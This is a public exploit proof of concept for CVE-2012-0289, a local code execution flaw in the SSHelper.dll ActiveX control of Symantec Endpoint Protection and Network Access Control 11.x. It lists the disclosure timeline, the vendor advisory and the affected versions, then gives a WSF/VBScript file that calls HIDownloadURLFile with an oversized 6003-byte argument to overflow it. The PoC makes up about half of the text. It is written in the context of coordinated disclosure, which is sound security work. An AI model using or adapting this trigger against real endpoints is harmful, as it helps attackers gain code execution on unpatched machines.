Symantec End Point Protection 11.x & Symantec Network Access Control 11.x LCE POC

# Symantec End Point Protection 11.x & Symantec Network Access Control 11.x Local Code Execution POC
# Date: 22/05/2012
# Author: 41.w4r10r
# Software Link: Symantec.com
# Version: 11.x
# Tested on:
#   Windows XP SP2 English
#   Windows XP SP3 English
#   Windows Vista 32Bit
#   Windows 7 32Bit
# CVE : CVE-2012-0289

Time Line:
30/08/2011 - Sent Details of the vulnerability
31/08/2011 - Symantec Requested Affected Version Details
31/08/2011 - Provided Requested Information with POC
27/09/2011 - Vulnerability Confirmed by Symantec
22/05/2012 - Advisory Released

Symantec Advisory:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120522_01

Affected Products:

Symantec Endpoint Protection
11.0 RU6(11.0.600x)
11.0 RU6-MP1(11.0.6100)
11.0 RU6-MP2(11.0.6200)
11.0 RU6-MP3(11.0.6300)
11.0 RU7(11.0.700x)
11.0 RU7-MP1(11.0.710x)

Symantec Network Access Control
11.0 RU6(11.0.600x)
11.0 RU6-MP1(11.0.6100)
11.0 RU6-MP2(11.0.6200)
11.0 RU6-MP3(11.0.6300)
11.0 RU7(11.0.700x)
11.0 RU7-MP1(11.0.710x)

Affected Resource:
%%System%%\Symantec\Symantec Endpoint Protection\SSHelper.dll

===
POC
===

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:D59EBAD7-AF87-4A5C-8459-D3F6B918E7C9' id='target' />
<script language='vbscript'>
prototype  = "Function HIDownloadURLFile ( ByVal cookie As Long ,  ByVal
url As String ,  ByVal file_path As String ,  ByVal rule_name As String ,
 ByVal cancel_message As String ,  ByVal downloading_time As Long ,  ByVal
bResume As Boolean ,  ByVal bShowProgressDlg As Boolean ,  ByVal
bAllowCancel As Boolean ,  ByVal username As String ,  ByVal password As
String ,  ByVal show_error_delay As Long ) As Long"
memberName = "HIDownloadURLFile"
progid     = "SSHELPERLib.SSHelper"
argCount   = 12
arg1=1
arg2="defaultV"
arg3="defaultV"
arg4="defaultV"
arg5="defaultV"
arg6=1
arg7=True
arg8=True
arg9=True
arg10="defaultV"
arg11= String(6003, "A")
arg12=1
target.HIDownloadURLFile arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7 ,arg8
,arg9 ,arg10 ,arg11 ,arg12
</script></job></package>